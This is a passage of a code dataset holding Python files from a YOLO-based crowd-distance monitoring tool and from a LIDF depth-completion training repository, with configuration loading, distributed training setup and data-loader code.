MIN_CONF:\n\t\t\t\tbox = detection[0:4] * np.array([W, H, W, H])\n\t\t\t\t(centerX, centerY, width, height) = box.astype(\"int\")\n\t\t\t\tx = int(centerX - (width / 2))\n\t\t\t\ty = int(centerY - (height / 2))\n\t\t\t\tboxes.append([x, y, int(width), int(height)])\n\t\t\t\tcentroids.append((centerX, centerY))\n\t\t\t\tconfidences.append(float(confidence))\n\tidxs = cv2.dnn.NMSBoxes(boxes, confidences, MIN_CONF, NMS_THRESH)\n\tif People_Counter:\n\t\thuman_count = \"Human count: {}\".format(len(idxs))\n\t\tcv2.putText(frame, human_count, (470, frame.shape[0] - 50), cv2.FONT_HERSHEY_SIMPLEX, 0.80, (0, 0, 0), 2)\n\tif len(idxs) > 0:\n\t\tfor i in idxs.flatten():\n\t\t\t(x, y) = (boxes[i][0], boxes[i][1])\n\t\t\t(w, h) = (boxes[i][2], boxes[i][3])\n\t\t\tr = (confidences[i], (x, y, x + w, y + h), centroids[i])\n\t\t\tresults.append(r)\n\treturn results\n", "id": "11644766", "language": "Python", "matching_score": 2.718397617340088, "max_stars_count": 0, "path": "mylib/detection.py" }, { "content": "MODEL_PATH = \"yolo\"\nMIN_CONF = 0.3\nNMS_THRESH = 0.3\nPeople_Counter = True\nThread = False\nThreshold = 20\nurl = 'http://172.16.17.32:80/mjpg/video.mjpg'\nALERT = False\nUSE_GPU = True\nMAX_DISTANCE = 80\nMIN_DISTANCE = 50\n", "id": "5964133", "language": "Python", "matching_score": 1.2843252420425415, "max_stars_count": 0, "path": "mylib/config.py" }, { "content": "from mylib import config, thread\nfrom mylib.detection import detect_people\nfrom imutils.video import VideoStream, FPS\nfrom scipy.spatial import distance as dist\nimport numpy as np\nimport argparse, imutils, cv2, os, time\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--input\", type=str, default=\"\",\n\thelp=\"path to (optional) input video file\")\nap.add_argument(\"-o\", \"--output\", type=str, default=\"\",\n\thelp=\"path to (optional) output video file\")\nap.add_argument(\"-d\", \"--display\", type=int, default=1,\n\thelp=\"whether or not output frame should be displayed\")\nargs = vars(ap.parse_args())\n\nlabelsPath = os.path.sep.join([config.MODEL_PATH, \"coco.names\"])\nLABELS = open(labelsPath).read().strip().split(\"\\n\")\n\nweightsPath = os.path.sep.join([config.MODEL_PATH, \"yolov3.weights\"])\nconfigPath = os.path.sep.join([config.MODEL_PATH, \"yolov3.cfg\"])\n\nnet = cv2.dnn.readNetFromDarknet(configPath, weightsPath)\n\nif config.USE_GPU:\n\n\tprint(\"\")\n\tprint(\"[INFO] Looking for GPU\")\n\tnet.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n\tnet.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n\nln = net.getLayerNames()\nln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n\nif not args.get(\"input\", False):\n\tprint(\"[INFO] Starting the live stream..\")\n\tvs = cv2.VideoCapture(config.url)\n\tif config.Thread:\n\t\t\tcap = thread.ThreadingClass(config.url)\n\ttime.sleep(2.0)\n\nelse:\n\tprint(\"[INFO] Starting the video..\")\n\tvs = cv2.VideoCapture(args[\"input\"])\n\tif config.Thread:\n\t\t\tcap = thread.ThreadingClass(args[\"input\"])\n\nwriter = None\nfps = FPS().start()\n\nwhile True:\n\n\tif config.Thread:\n\t\tframe = cap.read()\n\n\telse:\n\t\t(grabbed, frame) = vs.read()\n\n\t\tif not grabbed:\n\t\t\tbreak\n\n\n\tframe = imutils.resize(frame, width=700)\n\tresults = detect_people(frame, net, ln,\n\t\tpersonIdx=LABELS.index(\"person\"))\n\n\n\tserious = set()\n\tabnormal = set()\n\n\tif len(results) >= 2:\n\n\t\tcentroids = np.array([r[2] for r in results])\n\t\tD = dist.cdist(centroids, centroids, metric=\"euclidean\")\n\n\t\tfor i in range(0, D.shape[0]):\n\t\t\tfor j in range(i + 1, D.shape[1]):\n\t\t\t\tif D[i, j] < config.MIN_DISTANCE:\n\t\t\t\t\tserious.add(i)\n\t\t\t\t\tserious.add(j)\n\t\t\t\tif (D[i, j] < config.MAX_DISTANCE) and not serious:\n\t\t\t\t\tabnormal.add(i)\n\t\t\t\t\tabnormal.add(j)\n\n\tfor (i, (prob, bbox, centroid)) in enumerate(results):\n\n\t\t(startX, startY, endX, endY) = bbox\n\t\t(cX, cY) = centroid\n\t\tcolor = (0, 255, 0)\n\n\t\tif i in serious:\n\t\t\tcolor = (0, 0, 255)\n\t\telif i in abnormal:\n\t\t\tcolor = (0, 255, 255)\n\n\t\tcv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\n\t\tcv2.circle(frame, (cX, cY), 5, color, 2)\n\n\tThreshold = \"People limit: {}\".format(config.Threshold)\n\tcv2.putText(frame, Threshold, (470, frame.shape[0] - 25),\n\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.70, (255, 0, 0), 2)\n\n\ttext = \"Dangerous: {}\".format(len(serious))\n\tcv2.putText(frame, text, (20, frame.shape[0] - 55),\n\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.70, (0, 0, 255), 2)\n\n\ttext1 = \"Be Careful: {}\".format(len(abnormal))\n\tcv2.putText(frame, text1, (20, frame.shape[0] - 25),\n\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.70, (0, 255, 255), 2)\n\n\tif len(serious) >= config.Threshold:\n\t\tcv2.putText(frame, \"-ALERT: People limit\", (10, frame.shape[0] - 80),\n\t\t\tcv2.FONT_HERSHEY_COMPLEX, 0.70, (0, 0, 255), 2)\n\n\tif args[\"display\"] > 0:\n\n\t\tcv2.imshow(\"Real-Time Monitoring/Analysis Window\", frame)\n\t\tkey = cv2.waitKey(1) & 0xFF\n\n\t\tif key == ord(\"q\"):\n\t\t\tbreak\n\n\tfps.update()\n\n\tif args[\"output\"] != \"\" and writer is None:\n\t\tfourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\n\t\twriter = cv2.VideoWriter(args[\"output\"], fourcc, 25,\n\t\t\t(frame.shape[1], frame.shape[0]), True)\n\tif writer is not None:\n\t\twriter.write(frame)\n\nfps.stop()\nprint(\"===========================\")\nprint(\"[INFO] Elasped time: {:.2f}\".format(fps.elapsed()))\nprint(\"[INFO] Approx. FPS: {:.2f}\".format(fps.fps()))\n\ncv2.destroyAllWindows()\n", "id": "11863064", "language": "Python", "matching_score": 3.319605588912964, "max_stars_count": 0, "path": "Run.py" }, { "content": "import cv2, threading, queue\n\nclass ThreadingClass:\n def __init__(self, name):\n self.cap = cv2.VideoCapture(name)\n self.q = queue.Queue()\n t = threading.Thread(target=self._reader)\n t.daemon = True\n t.start()\n def _reader(self):\n while True:\n (ret, frame) = self.cap.read()\n if not ret:\n break\n if not self.q.empty():\n try:\n self.q.get_nowait()\n except queue.Empty:\n pass\n self.q.put(frame)\n\n def read(self):\n return self.q.get()\n", "id": "4632616", "language": "Python", "matching_score": 1.7074350118637085, "max_stars_count": 0, "path": "mylib/thread.py" } ]
2.127997
edwardyang12
[ { "content": "import os\r\nimport os.path as osp\r\nimport re\r\nimport yaml\r\n\r\nclass Params():\r\n \"\"\"\r\n Class that loads hyperparameters from a yaml file.\r\n \"\"\"\r\n\r\n def __init__(self, yaml_path=None):\r\n if yaml_path is not None:\r\n with open(yaml_path) as f:\r\n params = yaml.load(f, Loader=yaml.FullLoader)\r\n self.update_from_dict(params)\r\n # recursive get all keys, in 'a.b':c format\r\n all_keys = self.get_all_keys(all_keys={}, dic=self.dict, parent_key='')\r\n # replace placeholder in self.dict using all_keys\r\n self.replace_ph(all_keys)\r\n\r\n def update_from_dict(self, params):\r\n for k,v in params.items():\r\n if isinstance(v, dict):\r\n # if k not in dict.keys, directly set dict[k] as empty param, and update it using v\r\n if k not in self.dict.keys():\r\n self.dict[k] = Params()\r\n self.dict[k].update_from_dict(v)\r\n else:\r\n # if self.dict[k] is Params, update it using v\r\n if isinstance(self.dict[k], Params):\r\n self.dict[k].update_from_dict(v)\r\n else:\r\n raise ValueError('Can not update value using dict')\r\n else:\r\n self.dict[k] = v\r\n \r\n def get_all_keys(self, all_keys, dic, parent_key=''):\r\n ''' \r\n get key value pair from current dict.\r\n In format: m1.m2.m3: v\r\n '''\r\n for k, v in dic.items():\r\n if isinstance(v, Params):\r\n new_parent_key = k if parent_key == '' else parent_key + '.'+ k\r\n all_keys = self.get_all_keys(all_keys, v.dict, new_parent_key)\r\n else:\r\n new_key = k if parent_key == '' else parent_key + '.'+ k\r\n all_keys[new_key] = v\r\n return all_keys\r\n \r\n def recursive_replace(self, cur_str, all_keys):\r\n '''\r\n Recursively Replace all placeholders in str.\r\n it mainly deals with following situation: a = ${b}, b = ${c}, c=2.\r\n We should get a=2,b=2,c=2, instead of a=${c}, b=2, c=2\r\n '''\r\n # find ph str of placeholder: start with '${', end with '}', including any character except $.\r\n ph_str_list = re.findall(r'\\$\\{[^\\$]+\\}', cur_str)\r\n # if no placeholder, directly return cur_str\r\n if len(ph_str_list) == 0:\r\n return cur_str\r\n # iterate over all placeholders in cur_str\r\n for ph_str in ph_str_list:\r\n # remove '${}' from ph_str to get placeholder\r\n ph = ph_str[2:-1] \r\n # valid placeholder should be inside all_keys \r\n assert ph in all_keys.keys()\r\n # get target string\r\n tgt_str = str(all_keys[ph])\r\n # if tgt_str contains placeholder, recursive replace placeholder\r\n if len(re.findall(r'\\$\\{[^\\$]+\\}', tgt_str)) > 0:\r\n tgt_str = self.recursive_replace(tgt_str, all_keys)\r\n # replace ph_str with tgt_str\r\n cur_str = cur_str.replace(ph_str, tgt_str)\r\n return cur_str\r\n\r\n def replace_ph(self, all_keys):\r\n '''\r\n Replace all placeholder in self.dict using all_keys\r\n '''\r\n for k,v in self.dict.items():\r\n if isinstance(v, Params):\r\n v.replace_ph(all_keys)\r\n elif isinstance(v, str):\r\n # recursively replace all placeholders in string v.\r\n v = self.recursive_replace(v, all_keys)\r\n self.dict[k] = v\r\n\r\n\r\n def save(self, yaml_path):\r\n with open(yaml_path, 'w') as f:\r\n yaml.dump(self.dict, f)\r\n \r\n def update(self, yaml_path):\r\n \"\"\"Update parameters from yaml file\"\"\"\r\n with open(yaml_path) as f:\r\n params = yaml.load(f, Loader=yaml.FullLoader)\r\n self.update_from_dict(params)\r\n # recursive get all keys, in 'a.b':c format\r\n all_keys = self.get_all_keys(all_keys={}, dic=self.dict, parent_key='')\r\n # replace placeholder in self.dict using all_keys\r\n self.replace_ph(all_keys)\r\n \r\n def print_params(self):\r\n all_keys = self.get_all_keys(all_keys={}, dic=self.dict, parent_key='')\r\n for k,v in all_keys.items():\r\n print(k, v)\r\n\r\n\r\n @property\r\n def dict(self):\r\n \"\"\"Gives dict-like access to Params instance by `params.dict['learning_rate']\"\"\"\r\n return self.__dict__\r\n", "id": "3462818", "language": "Python", "matching_score": 0.3374852240085602, "max_stars_count": 34, "path": "src/opt.py" }, { "content": "import argparse\nimport os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.multiprocessing as mp\nimport _init_paths\nfrom opt import *\nimport importlib\n\ndef main():\n parser = argparse.ArgumentParser(description='LIDF Training')\n parser.add_argument('--default_cfg_path', default = None, help='default config file')\n parser.add_argument(\"--cfg_paths\", type=str, nargs=\"+\", default = None, help=\"List of updated config file\")\n args = parser.parse_args()\n\n # setup opt\n if args.default_cfg_path is None:\n raise ValueError('default config path not found, should define one')\n opt = Params(args.default_cfg_path)\n if args.cfg_paths is not None:\n for cfg_path in args.cfg_paths:\n opt.update(cfg_path)\n \n # set up random or deterministic training\n if opt.seed is None:\n torch.backends.cudnn.benchmark = True \n else:\n torch.manual_seed(opt.seed)\n np.random.seed(opt.seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n # set up CUDA_VISIBLE_DEVICES\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = opt.vis_gpu\n # set up trainer\n Trainer = importlib.import_module('trainers.train_' + opt.trainer_name)\n # single or multi gpu setup\n if opt.dist.ddp:\n print('Distributed Data Parallel')\n spawn_context = mp.spawn(Trainer.createAndRunTrainer, args=(opt,), nprocs=opt.dist.ngpus_per_node, join=False)\n while not spawn_context.join():\n pass\n\n for process in spawn_context.processes:\n if process.is_alive():\n process.terminate()\n process.join()\n else:\n print('Single Process')\n # since we use CUDA_VISIBLE_DEVICES, gpu_id is always 0 for single GPU training\n Trainer.createAndRunTrainer(0, opt) \n\nif __name__ == '__main__':\n main()\n", "id": "9836453", "language": "Python", "matching_score": 0.7982352375984192, "max_stars_count": 34, "path": "src/main.py" }, { "content": "import os\r\nimport time\r\nimport shutil\r\nimport logging\r\nimport numpy as np\r\nimport torch\r\nimport torch.distributed as dist\r\n\r\ndef adjust_learning_rate(epoch, optimizer, init_lr, decay_gamma, nepoch_decay):\r\n lr = init_lr * (decay_gamma ** (epoch // nepoch_decay))\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = lr\r\n return optimizer\r\n\r\ndef reduce_tensor(tensor, reduction='mean'):\r\n # clone tensor to avoid overwrite issue \r\n rt = tensor.clone()\r\n # sum tensors from all procs and then distribute to all procs\r\n dist.all_reduce(rt,op=dist.ReduceOp.SUM)\r\n if reduction == 'mean':\r\n return rt / dist.get_world_size()\r\n elif reduction == 'sum':\r\n return rt\r\n else:\r\n raise ValueError('Reduction type not supported')\r\n\r\ndef restore(model, state_dict):\r\n net_state_dict = model.state_dict()\r\n restore_state_dict = state_dict\r\n restored_var_names = set()\r\n print('Restoring:')\r\n for var_name in restore_state_dict.keys():\r\n if var_name in net_state_dict:\r\n var_size = net_state_dict[var_name].size()\r\n restore_size = restore_state_dict[var_name].size()\r\n if var_size != restore_size:\r\n # pass\r\n print('Shape mismatch for var', var_name, 'expected', var_size, 'got', restore_size)\r\n else:\r\n if isinstance(net_state_dict[var_name], torch.nn.Parameter):\r\n # backwards compatibility for serialized parameters\r\n net_state_dict[var_name] = restore_state_dict[var_name].data\r\n try:\r\n net_state_dict[var_name].copy_(restore_state_dict[var_name])\r\n # print(str(var_name) + ' -> \\t' + str(var_size) + ' = ' + str(int(np.prod(var_size) * 4 / 10**6)) + 'MB')\r\n restored_var_names.add(var_name)\r\n except Exception as ex:\r\n print('While copying the parameter named {}, whose dimensions in the model are'\r\n ' {} and whose dimensions in the checkpoint are {}, ...'.format(\r\n var_name, var_size, restore_size))\r\n raise ex\r\n ignored_var_names = sorted(list(set(restore_state_dict.keys()) - restored_var_names))\r\n unset_var_names = sorted(list(set(net_state_dict.keys()) - restored_var_names))\r\n if len(ignored_var_names) == 0:\r\n print('Restored all variables')\r\n else:\r\n print('Did not restore:')\r\n # print('Did not restore:\\n\\t' + '\\n\\t'.join(ignored_var_names))\r\n if len(unset_var_names) == 0:\r\n print('No new variables')\r\n else:\r\n print('Initialized but did not modify')\r\n # print('Initialized but did not modify:\\n\\t' + '\\n\\t'.join(unset_var_names))\r\n\r\n\r\ndef debug_print(txt, debug=False):\r\n if debug:\r\n print(txt)\r\n\r\ndef create_dir(dir_name):\r\n os.makedirs(dir_name, exist_ok=True)\r\n return dir_name\r\n\r\nclass AverageValueMeter(object):\r\n \"\"\"Computes and stores the average and current value\"\"\"\r\n def __init__(self):\r\n self.reset()\r\n\r\n def reset(self):\r\n self.val = 0\r\n self.avg = 0\r\n self.sum = 0\r\n self.count = 0.0\r\n\r\n def update(self, val, n=1):\r\n self.val = val\r\n self.sum += val * n\r\n self.count += n\r\n self.avg = self.sum / self.count\r\n\r\ndef to_gpu(batch, device):\r\n for k,v in batch.items():\r\n if torch.is_tensor(v):\r\n batch[k] = batch[k].to(device)\r\n return batch", "id": "5873469", "language": "Python", "matching_score": 2.454540491104126, "max_stars_count": 34, "path": "src/utils/training_utils.py" }, { "content": "import os\nimport os.path as osp\nfrom glob import glob\nimport shutil\nimport time\nimport json\nimport random\nimport csv\nimport pickle\nimport importlib\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\n\nimport torch\nimport torch.nn as nn\nimport torchvision.ops as tv_ops\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nimport torch.utils.data.distributed\nimport torch.distributed as dist\nimport torch.optim.lr_scheduler as lr_scheduler\n\nimport datasets.cleargrasp_synthetic_dataset as cleargrasp_syn\nimport datasets.cleargrasp_dataset as cleargrasp\nimport datasets.omniverse_dataset as omniverse\nimport datasets.mixed_dataset as mixed_dataset\nimport constants\nimport models.pipeline as pipeline\nimport utils.point_utils as point_utils\nimport utils.optimizer_utils as optimizer_utils\nimport utils.vis_utils as vis_utils\nfrom utils.training_utils import *\n\nclass TrainLIDF(object):\n def __init__(self, opt):\n super(TrainLIDF, self).__init__()\n self.opt = opt\n if self.opt.dist.ddp:\n print('Use GPU {} in Node {} for training'.format(self.opt.gpu_id, self.opt.dist.node_rank))\n # set device as local gpu id.\n torch.cuda.set_device(self.opt.gpu_id)\n self.device = torch.device('cuda:{}'.format(self.opt.gpu_id))\n self.setup_misc()\n if self.opt.dist.ddp:\n dist.barrier()\n self.setup_model()\n self.setup_data()\n # sync all processes at the end of init\n if self.opt.dist.ddp:\n dist.barrier()\n\n def setup_model(self):\n print('===> Building models, GPU {}'.format(self.opt.gpu_id))\n self.lidf = pipeline.LIDF(self.opt, self.device)\n\n # optimizer for training, valid also needs optimizer for saving ckpt\n if self.opt.exp_type in ['train', 'valid']:\n model_params = list(self.lidf.resnet_model.parameters()) + list(self.lidf.pnet_model.parameters()) + \\\n list(self.lidf.offset_dec.parameters()) + list(self.lidf.prob_dec.parameters())\n self.optimizer = getattr(optimizer_utils, self.opt.training.optimizer_name)(model_params, lr=self.opt.training.lr)\n # lr scheduler\n if self.opt.training.scheduler_name == 'StepLR':\n self.scheduler = lr_scheduler.StepLR(self.optimizer, step_size=self.opt.training.nepoch_decay, \n gamma=self.opt.training.decay_gamma)\n else:\n raise NotImplementedError('Does not support scheduler type: {}'.format(self.opt.training.scheduler_name))\n print('optimizer at GPU {}'.format(self.opt.gpu_id))\n\n # load checkpoint\n if self.opt.checkpoint_path is not None and osp.isfile(self.opt.checkpoint_path):\n loc = 'cuda:{}'.format(self.opt.gpu_id)\n checkpoint = torch.load(self.opt.checkpoint_path, map_location=loc)\n restore(self.lidf.resnet_model, checkpoint['resnet_model'])\n restore(self.lidf.pnet_model, checkpoint['pnet_model'])\n restore(self.lidf.offset_dec, checkpoint['offset_dec'])\n restore(self.lidf.prob_dec, checkpoint['prob_dec'])\n print('Loaded checkpoint at epoch {} from {}.'.format(checkpoint['epoch'], self.opt.checkpoint_path))\n if self.opt.exp_type in ['test'] and self.opt.checkpoint_path is None:\n raise ValueError('Should identify checkpoint_path for testing!')\n\n if self.opt.exp_type in ['train', 'valid']:\n # only process 0 handles ckpt save, so only process 0 can have min_*_error\n if self.opt.gpu_id == 0:\n self.min_err, self.max_acc, self.min_angle_err = 1e5, -1, 1e5\n print(\"=> Setup min error for GPU {}\".format(self.opt.gpu_id))\n # resume training\n if self.opt.exp_type == 'train':\n self.start_epoch = 0\n self.opt.resume = osp.join(self.ckpt_dir, self.opt.resume)\n if self.opt.resume is not None and osp.isfile(self.opt.resume):\n loc = 'cuda:{}'.format(self.opt.gpu_id)\n checkpoint = torch.load(self.opt.resume, map_location=loc)\n restore(self.lidf.resnet_model, checkpoint['resnet_model'])\n restore(self.lidf.pnet_model, checkpoint['pnet_model'])\n restore(self.lidf.offset_dec, checkpoint['offset_dec'])\n restore(self.lidf.prob_dec, checkpoint['prob_dec'])\n if 'epoch' in checkpoint.keys():\n self.start_epoch = checkpoint['epoch']+1\n if 'optimizer' in checkpoint.keys():\n self.optimizer.load_state_dict(checkpoint['optimizer'])\n if self.opt.gpu_id == 0:\n if 'min_err' in checkpoint.keys():\n self.min_err = checkpoint['min_err']\n if 'max_acc' in checkpoint.keys():\n self.max_acc = checkpoint['max_acc']\n if 'min_angle_err' in checkpoint.keys():\n self.min_angle_err = checkpoint['min_angle_err']\n print(\"=> Loaded min error for GPU {} at loc {}\".format(self.opt.gpu_id, loc))\n print(\"=> Continue Training from '{}' for GPU {} at loc {}\".format(self.opt.resume, self.opt.gpu_id, loc))\n\n # ddp setting\n if self.opt.dist.ddp:\n # batchnorm to syncbatchnorm\n self.lidf = nn.SyncBatchNorm.convert_sync_batchnorm(self.lidf)\n print('sync batchnorm at GPU {}'.format(self.opt.gpu_id))\n # distributed data parallel\n self.lidf = nn.parallel.DistributedDataParallel(self.lidf, device_ids=[self.opt.gpu_id], find_unused_parameters=True)\n print('DistributedDataParallel at GPU {}'.format(self.opt.gpu_id))\n\n\n def setup_data(self):\n print('===> Setup data loader')\n # prepare dataset and loader\n params = {\n 'img_width': self.opt.dataset.img_width,\n 'img_height': self.opt.dataset.img_height,\n 'use_data_augmentation': self.opt.dataset.use_data_augmentation,\n 'split_ratio': self.opt.dataset.split_ratio,\n 'omni_corrupt_all': self.opt.dataset.omni_corrupt_all,\n 'gamma_shape': self.opt.dataset.gamma_shape,\n 'gamma_scale': self.opt.dataset.gamma_scale,\n 'gaussian_scale': self.opt.dataset.gaussian_scale,\n 'gp_rescale_factor': self.opt.dataset.gp_rescale_factor,\n 'ellipse_dropout_mean': self.opt.dataset.ellipse_dropout_mean,\n 'ellipse_gamma_shape': self.opt.dataset.ellipse_gamma_shape,\n 'ellipse_gamma_scale': self.opt.dataset.ellipse_gamma_scale,\n 'corrupt_table': self.opt.dataset.corrupt_table,\n 'depth_aug': self.opt.dataset.depth_aug,\n 'corrupt_all_pix': self.opt.dataset.corrupt_all_pix,\n 'max_depth': self.opt.dataset.max_depth,\n }\n get_dataloader = lambda dataset: DataLoader(dataset, \n batch_size=self.opt.training.valid_batch_size,\n shuffle=False,\n num_workers=self.opt.training.num_workers,\n pin_memory=self.opt.training.pin_memory,\n )\n # TRAIN\n if self.opt.exp_type == 'train':\n if self.opt.dataset.type == 'cleargrasp':\n train_dataset = cleargrasp_syn.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='train')\n elif self.opt.dataset.type == 'omniverse':\n train_dataset = omniverse.get_dataset(self.opt.dataset.omniverse_root_dir, params, exp_type='train')\n elif self.opt.dataset.type == 'mixed':\n train_dataset = mixed_dataset.get_dataset(self.opt.dataset.cleargrasp_root_dir, \n self.opt.dataset.omniverse_root_dir, params, exp_type='train')\n \n # set train loader\n if self.opt.dist.ddp:\n train_batch_size = int(self.opt.training.batch_size / self.opt.dist.ngpus_per_node)\n self.train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)\n else:\n train_batch_size = self.opt.training.batch_size\n self.train_sampler = None\n self.train_data_loader = DataLoader(train_dataset,\n batch_size=train_batch_size,\n shuffle=(self.train_sampler is None),\n num_workers=self.opt.training.num_workers,\n pin_memory=self.opt.training.pin_memory,\n sampler=self.train_sampler,\n drop_last=True,\n )\n print('train_data_loader at GPU {}, BN: {}, WORKERS: {}'.format(\n self.opt.gpu_id, self.train_data_loader.batch_size, self.train_data_loader.num_workers))\n ''' Valid set, only for process 0'''\n if self.opt.gpu_id == 0:\n cg_syn_novel_test_dataset = cleargrasp_syn.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='valid', obj_type='novel')\n self.cg_syn_novel_test_data_loader = get_dataloader(cg_syn_novel_test_dataset)\n cg_syn_known_test_dataset = cleargrasp_syn.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='valid', obj_type='known')\n self.cg_syn_known_test_data_loader = get_dataloader(cg_syn_known_test_dataset)\n\n cg_real_novel_test_dataset = cleargrasp.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='valid', obj_type='novel')\n self.cg_real_novel_test_data_loader = get_dataloader(cg_real_novel_test_dataset)\n cg_real_known_test_dataset = cleargrasp.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='valid', obj_type='known')\n self.cg_real_known_test_data_loader = get_dataloader(cg_real_known_test_dataset)\n \n # TEST\n elif self.opt.exp_type == 'test':\n if self.opt.dataset.type == 'cleargrasp':\n syn_novel_test_dataset = cleargrasp_syn.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='test', obj_type='novel')\n self.syn_novel_test_data_loader = get_dataloader(syn_novel_test_dataset)\n syn_known_test_dataset = cleargrasp_syn.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='test', obj_type='known')\n self.syn_known_test_data_loader = get_dataloader(syn_known_test_dataset)\n\n real_novel_test_dataset = cleargrasp.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='test', obj_type='novel')\n self.real_novel_test_data_loader = get_dataloader(real_novel_test_dataset)\n real_known_test_dataset = cleargrasp.get_dataset(self.opt.dataset.cleargrasp_root_dir, params, exp_type='test', obj_type='known')\n self.real_known_test_data_loader = get_dataloader(real_known_test_dataset)\n\n\n def setup_misc(self):\n ''' Only process 0 will handle This part '''\n print('===> Setup miscs')\n # prepare log name\n if self.opt.log_name is None:\n print('Using default log name')\n # training setting\n self.opt.log_name = 'bn{}_lr{}'.format(self.opt.training.batch_size, self.opt.training.lr)\n self.opt.log_name += '_nepo{}'.format(self.opt.training.nepochs)\n self.opt.log_name += '_{}'.format(self.opt.training.optimizer_name)\n # grid setting\n self.opt.log_name += '_gres{}'.format(self.opt.grid.res)\n self.opt.log_name += '_msn{}_vsn{}'.format(self.opt.grid.miss_sample_num, self.opt.grid.valid_sample_num)\n if self.opt.grid.offset_range[0] != 0 or self.opt.grid.offset_range[1] != 1:\n self.opt.log_name += '_os{}_oe{}'.format(self.opt.grid.offset_range[0], self.opt.grid.offset_range[1])\n # network setting\n self.opt.log_name += '_rgb_{}'.format(self.opt.model.rgb_model_type)\n self.opt.log_name += '_embed_{}'.format(self.opt.model.rgb_embedding_type)\n self.opt.log_name += '_pnet_{}'.format(self.opt.model.pnet_model_type)\n if self.opt.model.pnet_pos_type != 'rel':\n self.opt.log_name += '_validAbs'\n if not self.opt.model.pos_encode:\n self.opt.log_name += '_noPosEnc'\n if self.opt.model.intersect_pos_type == 'rel':\n self.opt.log_name += '_intersectRel'\n self.opt.log_name += '_offdec_{}'.format(self.opt.model.offdec_type)\n if 'IEF' in self.opt.model.offdec_type:\n self.opt.log_name += '_niter{}'.format(self.opt.model.n_iter)\n self.opt.log_name += '_probdec_{}'.format(self.opt.model.probdec_type)\n self.opt.log_name += '_scatter_{}'.format(self.opt.model.scatter_type)\n if self.opt.model.scatter_type == 'Maxpool':\n self.opt.log_name += '_epo{}'.format(self.opt.model.maxpool_label_epo)\n # loss setting\n self.opt.log_name += '_prob_{}'.format(self.opt.loss.prob_loss_type)\n if self.opt.loss.surf_norm_w > 0:\n self.opt.log_name += '_sn{}_epo{}'.format(self.opt.loss.surf_norm_w, self.opt.loss.surf_norm_epo)\n if self.opt.loss.smooth_w > 0:\n self.opt.log_name += '_smooth{}_epo{}'.format(self.opt.loss.smooth_w, self.opt.loss.smooth_epo)\n if self.opt.loss.hard_neg:\n self.opt.log_name += '_hardneg' \n # dataset_setting\n self.opt.log_name += '_{}'.format(self.opt.dataset.type)\n if self.opt.custom_postfix != '':\n self.opt.log_name += '_' + self.opt.custom_postfix\n\n # prepare directory\n self.ckpt_dir = osp.join(self.opt.base_log_dir, 'ckpt', self.opt.log_name)\n self.result_dir = osp.join(self.opt.base_log_dir, 'result', self.opt.log_name)\n if self.opt.gpu_id != 0:\n return\n os.makedirs(self.ckpt_dir, exist_ok=True)\n\n # meters to record stats for validation and testing\n self.train_loss = AverageValueMeter()\n self.val_loss = AverageValueMeter()\n self.xyz_err = AverageValueMeter()\n self.end_acc = AverageValueMeter()\n self.angle_err = AverageValueMeter()\n self.a1 = AverageValueMeter()\n self.a2 = AverageValueMeter()\n self.a3 = AverageValueMeter()\n self.rmse = AverageValueMeter()\n self.rmse_log = AverageValueMeter()\n self.abs_rel = AverageValueMeter()\n self.mae = AverageValueMeter()\n self.sq_rel = AverageValueMeter()\n\n # vis dir\n vis_dir = create_dir(osp.join(self.result_dir, '{}_vis'.format(self.opt.exp_type)))\n setattr(self, '{}_vis_dir'.format(self.opt.exp_type), vis_dir)\n # log path\n log_path = osp.join(self.result_dir, '{}_log.txt'.format(self.opt.exp_type))\n setattr(self, 'log_path', log_path)\n\n if self.opt.exp_type in ['train', 'valid']:\n self.valid_log_path = osp.join(self.result_dir, 'valid_log.txt')\n\n # write config to file\n if self.opt.exp_type == 'train':\n self.valid_vis_dir = create_dir(osp.join(self.result_dir, 'valid_vis'))\n all_keys = self.opt.get_all_keys(all_keys={}, dic=self.opt.dict, parent_key='')\n with open(osp.join(self.result_dir, 'config.txt'), 'w') as file:\n for k,v in all_keys.items():\n file.write('{}: {}\\n'.format(k,v))\n with open(osp.join(self.ckpt_dir, 'config.txt'), 'w') as file:\n for k,v in all_keys.items():\n file.write('{}: {}\\n'.format(k,v))\n \n def train_epoch(self):\n for epoch in range(self.start_epoch, self.opt.training.nepochs):\n debug_print(\"=> Epoch {} for GPU {}\".format(epoch, self.opt.gpu_id), self.opt.debug)\n if self.opt.dist.ddp:\n self.train_sampler.set_epoch(epoch)\n # train\n self.train(self.train_data_loader, 'train', epoch)\n\n # valid and logging is only done by process 0\n if self.opt.gpu_id == 0:\n if self.opt.training.do_valid:\n # valid\n with open(self.valid_log_path, 'a') as file:\n file.write('Epoch[{}]:\\n'.format(epoch))\n self.validate(self.cg_syn_known_test_data_loader, 'valid', epoch, 'cg_syn_known')\n self.validate(self.cg_syn_novel_test_data_loader, 'valid', epoch, 'cg_syn_novel')\n self.validate(self.cg_real_known_test_data_loader, 'valid', epoch, 'cg_real_known')\n self.validate(self.cg_real_novel_test_data_loader, 'valid', epoch, 'cg_real_novel')\n\n # save ckpt and write log\n 